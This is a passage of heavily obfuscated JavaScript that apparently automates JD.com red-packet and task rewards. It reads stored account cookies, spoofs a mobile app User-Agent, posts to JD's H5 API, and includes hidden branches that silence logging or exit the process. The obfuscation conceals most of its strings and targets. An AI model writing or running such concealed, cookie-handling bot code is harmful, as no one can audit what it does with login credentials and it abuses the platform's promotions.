ggA',_0x2682ae['QEckC'])){console[_0x5c3d('4f','4%Cg')](_0x5c3d('1e4','Ykax')+JSON[_0x5c3d('1ce','96*f')](_0x574b60));}else{$[_0x5c3d('1e5','XpI[')](_0x3f13d7,_0x312813);}}finally{if(_0x5c3d('1e6','m)@n')!==_0x5c3d('1e7','(S7p')){_0x2682ae[_0x5c3d('1e8','4%Cg')](_0x2f2f57,_0x574b60);}else{console['log']('['+item[_0x5c3d('f6','GR%&')]+']\x20已经领取奖励');}}}else{console[_0x5c3d('1e9','qi!x')]('\x0a'+$[_0x5c3d('1ea','KKA&')]+':\x20API查询请求失败\x20‼️‼️');console['log'](JSON[_0x5c3d('1eb','s2t@')](_0x167487));}});}else{if(_0x574b60){if(type==='1'&&functionId===_0x5c3d('1ec','lR53'))console['log'](_0x5c3d('1ed','DI]G')+_0x574b60);}}});}function taskReportForColor(_0x2f201d,_0x19e657){var _0x425c25={'PQDxe':function(_0x22e30f,_0x402b42){return _0x22e30f!==_0x402b42;},'nxSUq':'BTdPn','xjOHG':function(_0x30f742,_0x5987c6){return _0x30f742===_0x5987c6;},'IdYkm':_0x5c3d('1ee','1xX6'),'BHsvy':function(_0x48c0f1,_0x2883bb){return _0x48c0f1!==_0x2883bb;},'fNhbD':_0x5c3d('9d','@YZ@'),'TLfnj':'data','zVZan':'packetSum','hOFqU':_0x5c3d('1ef','afg['),'byDFX':_0x5c3d('1f0','4%Cg'),'RHfJb':function(_0x1ff966,_0x3bbb99,_0x2f88e2){return _0x1ff966(_0x3bbb99,_0x2f88e2);},'tlqAz':_0x5c3d('1f1','Ykax'),'TTfnO':function(_0x40d24d,_0x201347){return _0x40d24d+_0x201347;},'rssvc':function(_0x170cec,_0x3a628c){return _0x170cec+_0x3a628c;}};const _0x1e84f5={'taskType':_0x2f201d,'detailId':_0x19e657};_0x1e84f5[_0x425c25[_0x5c3d('1f2','KKA&')]]=$[_0x5c3d('1f3','OghG')]($[_0x5c3d('1f4','fCgc')](_0x425c25['TTfnO'](_0x425c25[_0x5c3d('1f5','oaTe')]('j',JSON['stringify'](_0x1e84f5)),'D')));return new Promise(_0x58dd7b=>{var _0x59e4e9={'DOxRl':_0x425c25[_0x5c3d('1f6','piza')],'JEvZq':_0x425c25[_0x5c3d('1f7','1xX6')],'KMfLp':_0x425c25['zVZan']};if(_0x425c25['hOFqU']!==_0x425c25[_0x5c3d('1f8','s%P1')]){$[_0x5c3d('1f9','p4$W')](_0x425c25['RHfJb'](taskUrl,arguments[_0x5c3d('1fa','Jnb7')][_0x5c3d('1fb','m0Q1')][_0x5c3d('1fc','QeIx')](),_0x1e84f5),(_0x99f409,_0x27df77,_0x1e84f5)=>{var _0x237957={'FMYKk':function(_0x3f983b,_0x41de54){return _0x3f983b(_0x41de54);}};if(_0x425c25[_0x5c3d('1fd','QeIx')](_0x5c3d('1fe','qi!x'),_0x425c25[_0x5c3d('1ff','inWv')])){if(_0x99f409){console['log']('\x0a'+$[_0x5c3d('200','DI]G')]+_0x5c3d('201','Ykax'));console[_0x5c3d('202','Vm#Z')](JSON[_0x5c3d('1aa','qi!x')](_0x99f409));}else{_0x1e84f5=JSON[_0x5c3d('203','oaTe')](_0x1e84f5);if(_0x1e84f5[_0x5c3d('10f','SI!Z')][_0x5c3d('204','KKA&')]&&_0x1e84f5[_0x5c3d('205','@YZ@')]['biz_code']===0x0){console[_0x5c3d('206','afg[')](_0x5c3d('207','n@nG')+_0x1e84f5[_0x5c3d('84','m0Q1')][_0x5c3d('92','$lyO')][_0x5c3d('208','s%P1')]+'元\x0a');$[_0x5c3d('209','piza')]+=_0x237957[_0x5c3d('20a','pqb(')](Number,_0x1e84f5[_0x5c3d('20b','wc[h')][_0x5c3d('20c','J(]D')][_0x5c3d('20d',')4(@')]);}}}else{try{if(_0x99f409){if(_0x425c25[_0x5c3d('20e','RJ[D')](_0x425c25[_0x5c3d('20f','(S7p')],'RVLzD')){console[_0x5c3d('210','P3j6')]('\x0a'+$[_0x5c3d('211','SI!Z')]+_0x5c3d('1a9','afg['));console[_0x5c3d('a7','GR%&')](JSON[_0x5c3d('174','P3j6')](_0x99f409));}else{_0x1e84f5=JSON[_0x5c3d('1ab','fCgc')](_0x1e84f5);$[_0x5c3d('121','qi!x')]=_0x1e84f5;$[_0x5c3d('183','m)@n')]=0x0;if($['h5activityIndex']&&$[_0x5c3d('212','GR%&')][_0x5c3d('d3','n@nG')]&&$[_0x5c3d('213','n@nG')]['data'][_0x59e4e9[_0x5c3d('214','f$@p')]]){const _0x3da410=$[_0x5c3d('215','SI!Z')][_0x59e4e9[_0x5c3d('216','afg[')]][_0x59e4e9[_0x5c3d('217','qi!x')]][_0x5c3d('218','Vm#Z')]||[];for(let _0x2632df of _0x3da410){$['discount']+=_0x2632df[_0x59e4e9['KMfLp']];}if($[_0x5c3d('219','sEZ[')])$[_0x5c3d('183','m)@n')]=$[_0x5c3d('21a','J(]D')][_0x5c3d('21b','Ykax')](0x2);}}}else{if(_0x425c25['BHsvy'](_0x5c3d('21c','KKA&'),_0x5c3d('21d','I($f'))){_0x1e84f5=JSON['parse'](_0x1e84f5);}else{$[_0x5c3d('21e','piza')](e,_0x27df77);}}}catch(_0x35fc23){$['logErr'](_0x35fc23,_0x27df77);}finally{_0x58dd7b(_0x1e84f5);}}});}else{console[_0x5c3d('1cc',')4(@')]('红包领取成功,获得'+_0x1e84f5['data'][_0x5c3d('13b',')4(@')][_0x5c3d('21f','Jnb7')]+'元\x0a');$['discount']+=Number(_0x1e84f5['data'][_0x5c3d('105','Ykax')][_0x5c3d('220','afg[')]);}});}function receiveTaskRedpacket(_0x271e7d){var _0x278eaf={'vvpvO':_0x5c3d('221','s2t@'),'MksOD':function(_0x5cc27c,_0x4aea3d){return _0x5cc27c!==_0x4aea3d;},'oglIs':_0x5c3d('222','lR53'),'FWaej':function(_0x3b4ea5,_0x1cb55f){return _0x3b4ea5===_0x1cb55f;},'CaHuF':_0x5c3d('223','inWv'),'RQOWc':_0x5c3d('224','$lyO'),'ZqlPN':function(_0x4b5687,_0x588fe7,_0x3987b2){return _0x4b5687(_0x588fe7,_0x3987b2);}};const _0x25a45c={'clientInfo':{},'taskType':_0x271e7d};return new Promise(_0x1aef5d=>{var _0x294ead={'cVaeT':_0x5c3d('10f','SI!Z'),'blhWi':_0x278eaf[_0x5c3d('225','m)@n')],'kDcTQ':function(_0x269890,_0x55eb24){return _0x278eaf[_0x5c3d('226','DI]G')](_0x269890,_0x55eb24);},'tJmAJ':_0x5c3d('227','p4$W'),'kwmCv':_0x278eaf[_0x5c3d('228','SI!Z')],'tlBXJ':function(_0x1a6257,_0x532118){return _0x278eaf['FWaej'](_0x1a6257,_0x532118);},'oJdli':_0x278eaf['CaHuF'],'PYYgz':_0x278eaf[_0x5c3d('229',']G5@')],'lVEuQ':function(_0x1eaa31,_0x400761){return _0x278eaf['FWaej'](_0x1eaa31,_0x400761);},'aGNla':_0x5c3d('22a','$[C2'),'Jvtzi':_0x5c3d('22b','wc[h'),'gqYTT':function(_0x103840,_0x2cf19e){return _0x103840(_0x2cf19e);}};$[_0x5c3d('22c','GR%&')](_0x278eaf[_0x5c3d('22d','afg[')](taskUrl,arguments['callee']['name'][_0x5c3d('22e','qi!x')](),_0x25a45c),(_0x1da607,_0x16fc0c,_0x51b3e3)=>{var _0x496324={'vENpk':_0x294ead[_0x5c3d('22f','$lyO')],'eXkGV':_0x294ead[_0x5c3d('230','I($f')]};if(_0x294ead[_0x5c3d('231',')4(@')](_0x294ead[_0x5c3d('232','m0Q1')],_0x294ead['kwmCv'])){try{if(_0x1da607){if(_0x294ead['tlBXJ'](_0x294ead[_0x5c3d('233','I($f')],_0x294ead[_0x5c3d('234','SI!Z')])){console[_0x5c3d('a7','GR%&')](''+JSON[_0x5c3d('235','pqb(')](_0x1da607));console[_0x5c3d('1a7','m0Q1')]($[_0x5c3d('236','J(]D')]+_0x5c3d('237','s2t@'));}else{console[_0x5c3d('f0','dECe')]('\x0a'+$[_0x5c3d('238',')4(@')]+_0x5c3d('1dc','dECe'));console['log'](JSON[_0x5c3d('239','m)@n')](_0x1da607));}}else{_0x51b3e3=JSON[_0x5c3d('23a','XpI[')](_0x51b3e3);if(_0x51b3e3[_0x5c3d('23b','96*f')][_0x5c3d('23c','o7vD')]&&_0x294ead[_0x5c3d('23d','QeIx')](_0x51b3e3['data']['biz_code'],0x0)){if(_0x294ead[_0x5c3d('23e','P3j6')]!==_0x294ead[_0x5c3d('23f','7De#')]){console[_0x5c3d('240','sEZ[')](_0x5c3d('241','GR%&')+_0x51b3e3[_0x5c3d('242','NJq]')][_0x5c3d('13b',')4(@')][_0x5c3d('243','dECe')]+'元\x0a');$['discount']+=Number(_0x51b3e3[_0x5c3d('d6','s%P1')]['result']['discount']);}else{console[_0x5c3d('210','P3j6')]('\x0a\x0a发起助力红包\x20失败:'+_0x51b3e3[_0x496324[_0x5c3d('244','dECe')]][_0x5c3d('245','s%P1')][_0x496324['eXkGV']]);}}}}catch(_0x3b76f5){$['logErr'](_0x3b76f5,_0x16fc0c);}finally{_0x294ead['gqYTT'](_0x1aef5d,_0x51b3e3);}}else{console[_0x5c3d('246','p4$W')](_0x5c3d('247','afg[')+JSON[_0x5c3d('248','QeIx')]($['taskHomePageData'])+'\x0a');}});});}function jinli_h5assist(_0x538d51){var _0xb3d0e2={'GtVBH':function(_0x192f86,_0x2f0bdd){return _0x192f86===_0x2f0bdd;},'GBHvr':_0x5c3d('249','J(]D'),'ApSGa':function(_0x1be415){return _0x1be415();},'pHqxW':_0x5c3d('24a','o7vD'),'RvLMM':function(_0x58fd52,_0x38fbfd){return _0x58fd52!==_0x38fbfd;},'MCvnP':_0x5c3d('24b','m)@n'),'tDRyw':_0x5c3d('24c','o7vD'),'olCrt':_0x5c3d('24d','1xX6'),'bbuLZ':'status','XqREb':_0x5c3d('24e','qi!x'),'lvgns':function(_0x416c93,_0x7a4fb3,_0x223887){return _0x416c93(_0x7a4fb3,_0x223887);}};const _0x2314c6={'clientInfo':{},'redPacketId':_0x538d51,'followShop':0x0,'promUserState':''};const _0x324215=_0xb3d0e2[_0x5c3d('24f','qi!x')](taskUrl,arguments['callee'][_0x5c3d('250','o7vD')]['toString'](),_0x2314c6);return new Promise(_0x5e4722=>{var _0x3ca517={'jrEgT':function(_0x417d33){return _0xb3d0e2['ApSGa'](_0x417d33);},'otQKR':'CookieJD2','fUOOO':_0x5c3d('251','#g!5'),'IkoDZ':_0xb3d0e2[_0x5c3d('252','8ye]')],'udbxu':function(_0x239451,_0x129eac){return _0xb3d0e2[_0x5c3d('253','m)@n')](_0x239451,_0x129eac);},'tgIQE':_0xb3d0e2[_0x5c3d('254','inWv')],'KjMSK':function(_0x2c876a,_0x572de4){return _0xb3d0e2[_0x5c3d('255','wc[h')](_0x2c876a,_0x572de4);},'LAQyg':'KZRhZ','RmbgS':function(_0x29e566,_0x3bd110){return _0x29e566===_0x3bd110;},'UvmqM':_0xb3d0e2['tDRyw'],'TlKTI':'data','McDmb':_0x5c3d('256','(S7p'),'dpHFI':_0xb3d0e2[_0x5c3d('257','(S7p')],'iQTqR':_0xb3d0e2[_0x5c3d('258','#g!5')],'UJShO':_0x5c3d('259','Ykax'),'fxkjF':function(_0x25b09f){return _0x25b09f();}};if(_0xb3d0e2[_0x5c3d('25a','GR%&')]('Axbfp',_0xb3d0e2[_0x5c3d('25b','4%Cg')])){$[_0x5c3d('25c','$[C2')](_0x324215,(_0x8fddbf,_0x418387,_0x143ac0)=>{var _0x3a16d4={'OTVIZ':_0x3ca517[_0x5c3d('25d','inWv')],'FeoWl':_0x3ca517[_0x5c3d('25e','s2t@')]};try{if(_0x3ca517[_0x5c3d('25f','QeIx')]!==_0x3ca517[_0x5c3d('260','DI]G')]){_0x3ca517['jrEgT'](_0x5e4722);}else{if(_0x8fddbf){if(_0x3ca517[_0x5c3d('261','OghG')](_0x5c3d('262','Ykax'),_0x3ca517[_0x5c3d('263',']G5@')])){$[_0x5c3d('264','KKA&')](e,_0x418387);}else{console[_0x5c3d('246','p4$W')]('\x0a'+$['name']+':\x20API查询请求失败\x20‼️‼️');console['log'](JSON[_0x5c3d('a9','7De#')](_0x8fddbf));}}else{if(_0x3ca517['KjMSK'](_0x5c3d('265','P3j6'),_0x3ca517[_0x5c3d('266','pqb(')])){cookiesArr=[$['getdata']('CookieJD'),$[_0x5c3d('c','RJ[D')](_0x3a16d4['OTVIZ']),...jsonParse($[_0x5c3d('267','(S7p')](_0x3a16d4[_0x5c3d('268','4%Cg')])||'[]')[_0x5c3d('269','GR%&')](_0x5dd5bf=>_0x5dd5bf['cookie'])][_0x5c3d('26a','p4$W')](_0x437f9c=>!!_0x437f9c);}else{_0x143ac0=JSON[_0x5c3d('26b','I($f')](_0x143ac0);if(_0x143ac0&&_0x143ac0[_0x5c3d('26c','RJ[D')]&&_0x3ca517[_0x5c3d('26d','96*f')](_0x143ac0['data'][_0x3ca517['UvmqM']],0x0)){console[_0x5c3d('246','p4$W')](_0x5c3d('26e','qt1B')+_0x143ac0[_0x3ca517[_0x5c3d('26f','96*f')]][_0x3ca517[_0x5c3d('270','DI]G')]][_0x3ca517[_0x5c3d('271','1xX6')]]);if(_0x143ac0[_0x3ca517[_0x5c3d('272','J(]D')]][_0x3ca517[_0x5c3d('273','8ye]')]][_0x3ca517[_0x5c3d('274','DI]G')]]===0x3)$[_0x5c3d('4e','p4$W')]=![];if(_0x3ca517['RmbgS'](_0x143ac0['data'][_0x3ca517[_0x5c3d('275','o%Hs')]]['status'],0x9))$[_0x5c3d('276',']loZ')]=![];}else{console[_0x5c3d('277','s%P1')](_0x5c3d('278','RJ[D')+JSON[_0x5c3d('279','afg[')](_0x143ac0));}}}}}catch(_0x2694df){if(_0x3ca517[_0x5c3d('27a','KKA&')](_0x5c3d('27b',']loZ'),_0x3ca517['UJShO'])){console[_0x5c3d('202','Vm#Z')]('\x0a'+$[_0x5c3d('27c','7De#')]+_0x5c3d('27d','DI]G'));console[_0x5c3d('246','p4$W')](JSON[_0x5c3d('27e','o7vD')](_0x8fddbf));}else{$[_0x5c3d('27f','n@nG')](_0x2694df,_0x418387);}}finally{_0x3ca517[_0x5c3d('280','oaTe')](_0x5e4722);}});}else{if(type==='1'&&_0xb3d0e2['GtVBH'](functionId,_0xb3d0e2[_0x5c3d('281','n@nG')]))console[_0x5c3d('80','qt1B')]('京东首页点击“领券”逛10s任务:'+data);}});}function h5receiveRedpacket(_0x5f4c06){var _0x57afad={'TfHNy':_0x5c3d('282','DI]G'),'tygiq':_0x5c3d('283','sEZ['),'xDOUv':function(_0x5db70b,_0x24df3c){return _0x5db70b===_0x24df3c;},'rZQVU':_0x5c3d('284',']loZ'),'lrKHT':_0x5c3d('285','piza'),'YIoks':_0x5c3d('d3','n@nG'),'IhVGR':_0x5c3d('286','f$@p'),'gPwJq':function(_0x28c411,_0x49a35b){return _0x28c411!==_0x49a35b;},'ykVma':_0x5c3d('287','#g!5'),'SOAlQ':_0x5c3d('288','NJq]'),'CUQVp':function(_0x5eceaa,_0x29db57){return _0x5eceaa(_0x29db57);},'JKsBh':_0x5c3d('289','7De#'),'PgROV':function(_0x33e47e,_0x19f5ac){return _0x33e47e+_0x19f5ac;},'LvQCZ':function(_0x49c7b7,_0x225ba0,_0x1da602){return _0x49c7b7(_0x225ba0,_0x1da602);}};const _0x3b7254={'redPacketId':_0x5f4c06};_0x3b7254[_0x5c3d('1f1','Ykax')]=$[_0x5c3d('28a','7De#')]($[_0x5c3d('28b','P3j6')](_0x57afad[_0x5c3d('28c','fCgc')]('j',JSON[_0x5c3d('28d','I($f')](_0x3b7254))+'D'));const _0x2ec437=_0x57afad[_0x5c3d('28e','sEZ[')](taskUrl,arguments[_0x5c3d('28f','wc[h')][_0x5c3d('1ea','KKA&')][_0x5c3d('290','fCgc')](),_0x3b7254);return new Promise(_0xa03e44=>{var _0x4a1f39={'WRCdy':function(_0x552a02,_0x18d261){return _0x57afad[_0x5c3d('291','RJ[D')](_0x552a02,_0x18d261);},'RNMPb':_0x57afad['JKsBh'],'wMAoM':function(_0x2240b1,_0x3a6c56){return _0x2240b1*_0x3a6c56;}};$[_0x5c3d('292','I($f')](_0x2ec437,(_0x3ef482,_0x554b2c,_0x3b7254)=>{var _0x10cd55={'BHYXw':_0x57afad[_0x5c3d('293','Vm#Z')],'cwTpi':'https://bean.m.jd.com/bean/signIndex.action','ZeqnL':_0x57afad['tygiq']};try{if(_0x57afad[_0x5c3d('294','KKA&')](_0x5c3d('295','piza'),_0x5c3d('296','qi!x'))){$[_0x5c3d('297','(S7p')]($[_0x5c3d('298','Vm#Z')],_0x10cd55[_0x5c3d('299','J(]D')],_0x10cd55[_0x5c3d('29a','8ye]')],{'open-url':_0x10cd55['cwTpi']});return;}else{if(_0x3ef482){console[_0x5c3d('29b','8ye]')]('\x0a'+$['name']+_0x5c3d('29c','$lyO'));console[_0x5c3d('a2','m)@n')](JSON[_0x5c3d('29d',')4(@')](_0x3ef482));}else{if(_0x57afad[_0x5c3d('29e','$[C2')]===_0x57afad[_0x5c3d('29f','pqb(')]){_0x3b7254=JSON['parse'](_0x3b7254);if(_0x3b7254&&_0x3b7254[_0x5c3d('2a0','QeIx')]&&_0x57afad[_0x5c3d('2a1','96*f')](_0x3b7254[_0x5c3d('122','dECe')][_0x57afad[_0x5c3d('2a2','fCgc')]],0x0)){console[_0x5c3d('47','o7vD')](_0x5c3d('2a3','qi!x')+_0x3b7254[_0x57afad['YIoks']][_0x5c3d('17c','1xX6')][_0x57afad[_0x5c3d('2a4','I($f')]]+'元');}else{if(_0x57afad[_0x5c3d('2a5','OghG')](_0x57afad['ykVma'],_0x57afad['SOAlQ'])){console[_0x5c3d('2a6','o%Hs')](_0x5c3d('2a7','sEZ[')+JSON[_0x5c3d('2a8','lR53')](_0x3b7254));}else{const _0x5999b0=_0x4a1f39[_0x5c3d('2a9','lR53')](require,_0x4a1f39[_0x5c3d('2aa','dECe')]);const _0x5b0a6e={'https':_0x5999b0['httpsOverHttp']({'proxy':{'host':process[_0x5c3d('2ab','QeIx')][_0x5c3d('2ac','1xX6')],'port':_0x4a1f39[_0x5c3d('2ad','s2t@')](process['env'][_0x5c3d('2ae','SI!Z')],0x1)}})};Object[_0x5c3d('2af','NJq]')](_0x2ec437,{'agent':_0x5b0a6e});}}}else{console[_0x5c3d('2b0','XpI[')]('\x0a'+$[_0x5c3d('2b1','p4$W')]['data'][_0x10cd55[_0x5c3d('2b2','lR53')]]+'\x0a');}}}}catch(_0x409930){$[_0x5c3d('2b3','#g!5')](_0x409930,_0x554b2c);}finally{_0x57afad['CUQVp'](_0xa03e44,_0x3b7254);}});});}function h5launch(){var _0x8f78f1={'AmSrm':function(_0x440a00,_0x25fa3a){return _0x440a00===_0x25fa3a;},'kRHNh':'pwjAu','GlGal':'biz_code','jbEyY':_0x5c3d('20b','wc[h'),'xNdNj':_0x5c3d('2b4','SI!Z'),'OefvD':_0x5c3d('2b5','QeIx'),'gcEhY':_0x5c3d('2b6','fCgc'),'Hdfcb':function(_0x1bf02f,_0x598634){return _0x1bf02f!==_0x598634;},'QLWlL':_0x5c3d('2b7','wc[h'),'lpUUt':'pLRSX','aZJTi':'gjTgV','fCwAC':function(_0x31aedd,_0x2f4f4b){return _0x31aedd(_0x2f4f4b);},'tFmbN':_0x5c3d('2b8','J(]D'),'aswdy':_0x5c3d('2b9','p4$W'),'rQGKg':'gzip,\x20deflate,\x20br','gwKrQ':function(_0x1b9725,_0x56ba65){return _0x1b9725(_0x56ba65);},'jKwuN':_0x5c3d('2ba','J(]D'),'ccBNM':_0x5c3d('2bb','I($f'),'OlzqI':function(_0x7340ad,_0x2fc039,_0x283caa){return _0x7340ad(_0x2fc039,_0x283caa);}};const _0x19d3bc={'clientInfo':{},'followShop':0x0,'promUserState':''};const _0x1367bf=_0x8f78f1[_0x5c3d('2bc','pqb(')](taskUrl,arguments[_0x5c3d('2bd','P3j6')][_0x5c3d('298','Vm#Z')][_0x5c3d('1a5','7De#')](),_0x19d3bc);return new Promise(_0x1a5a6b=>{var _0x1dec42={'xlKGP':_0x8f78f1['tFmbN'],'VwwTz':_0x5c3d('2be','SI!Z'),'AiXuw':_0x8f78f1['aswdy'],'xAAtt':_0x8f78f1[_0x5c3d('2bf','lR53')],'FuSvq':_0x5c3d('2c0','afg['),'orAXH':function(_0x513fd8,_0xa61046){return _0x8f78f1[_0x5c3d('2c1','NJq]')](_0x513fd8,_0xa61046);},'yVepL':_0x8f78f1[_0x5c3d('2c2','1xX6')],'Yimsh':_0x8f78f1[_0x5c3d('2c3','qi!x')]};$['post'](_0x1367bf,(_0x2fefe9,_0x4be56c,_0xad8b82)=>{try{if(_0x2fefe9){console[_0x5c3d('2c4','f$@p')]('\x0a'+$[_0x5c3d('2c5','OghG')]+_0x5c3d('2c6','QeIx'));console[_0x5c3d('2c7','NJq]')](JSON[_0x5c3d('1a2','NJq]')](_0x2fefe9));}else{if(_0x8f78f1[_0x5c3d('2c8','NJq]')](_0x8f78f1[_0x5c3d('2c9','SI!Z')],_0x8f78f1[_0x5c3d('2ca','NJq]')])){_0xad8b82=JSON['parse'](_0xad8b82);if(_0xad8b82&&_0xad8b82[_0x5c3d('117','qt1B')]&&_0x8f78f1[_0x5c3d('2cb','KKA&')](_0xad8b82[_0x5c3d('2a0','QeIx')][_0x8f78f1[_0x5c3d('2cc','XpI[')]],0x0)){if(_0xad8b82[_0x8f78f1['jbEyY']][_0x8f78f1['xNdNj']][_0x8f78f1[_0x5c3d('2cd','Vm#Z')]]){console['log'](_0x5c3d('2ce','m)@n')+_0xad8b82[_0x8f78f1[_0x5c3d('2cf','o7vD')]]['result'][_0x8f78f1[_0x5c3d('2d0','sEZ[')]]);$[_0x5c3d('2d1','Vm#Z')]['push'](_0xad8b82[_0x8f78f1[_0x5c3d('2d2','pqb(')]][_0x8f78f1[_0x5c3d('2d3','s2t@')]][_0x8f78f1[_0x5c3d('2d4','GR%&')]]);}else{console['log'](_0x5c3d('2d5','RJ[D')+_0xad8b82[_0x8f78f1[_0x5c3d('2d6','QeIx')]][_0x5c3d('2d7','s2t@')][_0x8f78f1['gcEhY']]);}}else{if(_0x8f78f1[_0x5c3d('2d8','s2t@')](_0x8f78f1[_0x5c3d('2d9','Ykax')],_0x8f78f1[_0x5c3d('2da','o%Hs')])){console['log'](_0x5c3d('2db','Jnb7')+JSON[_0x5c3d('2dc','Ykax')](_0xad8b82));}else{_0x1a5a6b(_0xad8b82);}}}else{$[_0x5c3d('2dd','wc[h')](e,_0x4be56c);}}}catch(_0x152115){$['logErr'](_0x152115,_0x4be56c);}finally{if('gjTgV'!==_0x8f78f1['aZJTi']){return{'url':JD_API_HOST+_0x5c3d('2de','I($f')+function_id+'&loginType=2&client=jd_mp_h5&t='+new Date()[_0x5c3d('2df','p4$W')]()*0x3e8,'body':_0x5c3d('2e0','n@nG')+JSON[_0x5c3d('1cb','(S7p')](_0x19d3bc),'headers':{'Host':_0x1dec42[_0x5c3d('2e1','XpI[')],'Content-Type':_0x1dec42[_0x5c3d('2e2','piza')],'Origin':_0x1dec42[_0x5c3d('2e3','sEZ[')],'Accept-Encoding':_0x1dec42[_0x5c3d('2e4','Vm#Z')],'Cookie':cookie,'Connection':_0x1dec42[_0x5c3d('2e5','s%P1')],'Accept':'*/*','User-Agent':$['isNode']()?process['env'][_0x5c3d('2e6','Ykax')]?process['env'][_0x5c3d('2e6','Ykax')]:_0x1dec42['orAXH'](require,_0x5c3d('2e7','KKA&'))[_0x5c3d('2e8','#g!5')]:$['getdata'](_0x5c3d('2e9','96*f'))?$[_0x5c3d('2ea','p4$W')]('JDUA'):'jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2014_3\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','Referer':_0x1dec42[_0x5c3d('2eb','inWv')],'Content-Length':'36','Accept-Language':_0x1dec42[_0x5c3d('2ec','s%P1')]}};}else{_0x8f78f1[_0x5c3d('2ed','96*f')](_0x1a5a6b,_0xad8b82);}}});});}function h5activityIndex(){var _0x162440={'CvXJp':_0x5c3d('2a0','QeIx'),'ShfDj':'statusDesc','voxfX':function(_0x5b4a3b,_0xb95871){return _0x5b4a3b===_0xb95871;},'BMEIR':'status','DXfXi':function(_0x145a86,_0x1f6f9b){return _0x145a86!==_0x1f6f9b;},'kPvwm':'vzgRf','OdJxR':_0x5c3d('2ee','QeIx'),'jkreg':function(_0x23254a,_0x5943e2){return _0x23254a===_0x5943e2;},'wZunv':'pemmx','IkUWK':_0x5c3d('2ef',']loZ'),'qbhsg':'AAHYX','aOmMF':_0x5c3d('20c','J(]D'),'bsMVx':function(_0x381aac){return _0x381aac();},'YDYes':function(_0xa2e9c0,_0x3a6812){return _0xa2e9c0===_0x3a6812;},'afyHp':function(_0x5c9b56,_0x597a0f){return _0x5c9b56>_0x597a0f;},'YaHWH':_0x5c3d('2f0',')4(@'),'MkWKS':function(_0x4f1eb6,_0x4d23ea){return _0x4f1eb6(_0x4d23ea);},'Pyeni':function(_0x7be5c3,_0x19104d,_0x35b100){return _0x7be5c3(_0x19104d,_0x35b100);}};const _0x1ae3a2={'clientInfo':{},'isjdapp':0x1};const _0x275296=_0x162440[_0x5c3d('2f1','lR53')](taskUrl,arguments[_0x5c3d('2f2','sEZ[')]['name'][_0x5c3d('22e','qi!x')](),_0x1ae3a2);return new Promise(_0x4fdd05=>{var _0x5728d6={'GuVTO':function(_0x54bf5f,_0x524d8c){return _0x162440[_0x5c3d('2f3','1xX6')](_0x54bf5f,_0x524d8c);},'mUgjV':function(_0x46793e,_0x301d17){return _0x162440[_0x5c3d('2f4','o7vD')](_0x46793e,_0x301d17);},'NABnq':_0x162440[_0x5c3d('2f5','inWv')],'veUQB':function(_0x150697,_0x2e0a84){return _0x162440['MkWKS'](_0x150697,_0x2e0a84);}};$['post'](_0x275296,async(_0x99ed74,_0x4c2cfe,_0x1dd6a5)=>{var _0x5b01ff={'fqYLF':_0x162440[_0x5c3d('2f6','qi!x')],'CreDx':_0x5c3d('2f7','7De#'),'ANjyW':_0x162440['ShfDj'],'XPhld':function(_0x4ee67a,_0x523e3c){return _0x162440[_0x5c3d('2f8','pqb(')](_0x4ee67a,_0x523e3c);},'wyxBX':_0x162440[_0x5c3d('2f9',']loZ')]};if(_0x162440[_0x5c3d('2fa','oaTe')](_0x162440[_0x5c3d('2fb','piza')],_0x162440[_0x5c3d('2fc','NJq]')])){Object[_0x5c3d('2fd',']loZ')](jdCookieNode)['forEach'](_0x3c1564=>{cookiesArr[_0x5c3d('2fe','8ye]')](jdCookieNode[_0x3c1564]);});if(process['env']['JD_DEBUG']&&_0x5728d6[_0x5c3d('2ff','RJ[D')](process[_0x5c3d('300','f$@p')][_0x5c3d('301','f$@p')],_0x5c3d('302','qi!x')))console[_0x5c3d('1e9','qi!x')]=()=>{};if(_0x5728d6[_0x5c3d('303','m0Q1')](JSON[_0x5c3d('304','#g!5')](process[_0x5c3d('305','1xX6')])[_0x5c3d('306','Ykax')](_0x5728d6[_0x5c3d('307','p4$W')]),-0x1))process[_0x5c3d('308','P3j6')](0x0);}else{try{if(_0x162440[_0x5c3d('309','f$@p')](_0x5c3d('30a',')4(@'),_0x162440[_0x5c3d('30b',')4(@')])){_0x5728d6[_0x5c3d('30c','lR53')](_0x4fdd05,_0x1dd6a5);}else{if(_0x99ed74){if(_0x162440[_0x5c3d('30d','$[C2')](_0x162440[_0x5c3d('30e','Jnb7')],_0x162440['IkUWK'])){$[_0x5c3d('30f','sEZ[')](e,_0x4c2cfe);}else{console['log']('\x0a'+$['name']+':\x20API查询请求失败\x20‼️‼️');console['log'](JSON[_0x5c3d('310','inWv')](_0x99ed74));}}else{if(_0x162440[_0x5c3d('311','NJq]')](_0x162440[_0x5c3d('312',')4(@')],_0x162440['qbhsg'])){_0x1dd6a5=JSON['parse'](_0x1dd6a5);$[_0x5c3d('313','s%P1')]=_0x1dd6a5;$['discount']=0x0;if($[_0x5c3d('314','8ye]')]&&$[_0x5c3d('212','GR%&')][_0x5c3d('111','$lyO')]&&$['h5activityIndex']['data'][_0x162440['aOmMF']]){const _0x5e5760=$[_0x5c3d('315','@YZ@')][_0x162440['CvXJp']][_0x5c3d('316',']loZ')]['rewards']||[];for(let _0x5ac63a of _0x5e5760){$[_0x5c3d('317','inWv')]+=_0x5ac63a[_0x5c3d('318','sEZ[')];}if($[_0x5c3d('319','o%Hs')])$[_0x5c3d('31a','@YZ@')]=$['discount'][_0x5c3d('31b','XpI[')](0x2);}}else{_0x1dd6a5=JSON['parse'](_0x1dd6a5);if(_0x1dd6a5&&_0x1dd6a5[_0x5c3d('31c','p4$W')]&&_0x1dd6a5[_0x5c3d('15b','OghG')]['biz_code']===0x0){console['log']('助力结果:'+_0x1dd6a5[_0x5b01ff[_0x5c3d('31d','J(]D')]][_0x5b01ff['CreDx']][_0x5b01ff[_0x5c3d('31e','inWv')]]);if(_0x5b01ff['XPhld'](_0x1dd6a5[_0x5c3d('122','dECe')][_0x5b01ff[_0x5c3d('31f','qi!x')]][_0x5b01ff[_0x5c3d('320','lR53')]],0x3))$[_0x5c3d('321','sEZ[')]=![];if(_0x1dd6a5[_0x5b01ff[_0x5c3d('322','@YZ@')]][_0x5b01ff[_0x5c3d('323','sEZ[')]][_0x5b01ff[_0x5c3d('324','Ykax')]]===0x9)$['canHelp']=![];}else{console[_0x5c3d('4f','4%Cg')](_0x5c3d('325','8ye]')+JSON[_0x5c3d('326','fCgc')](_0x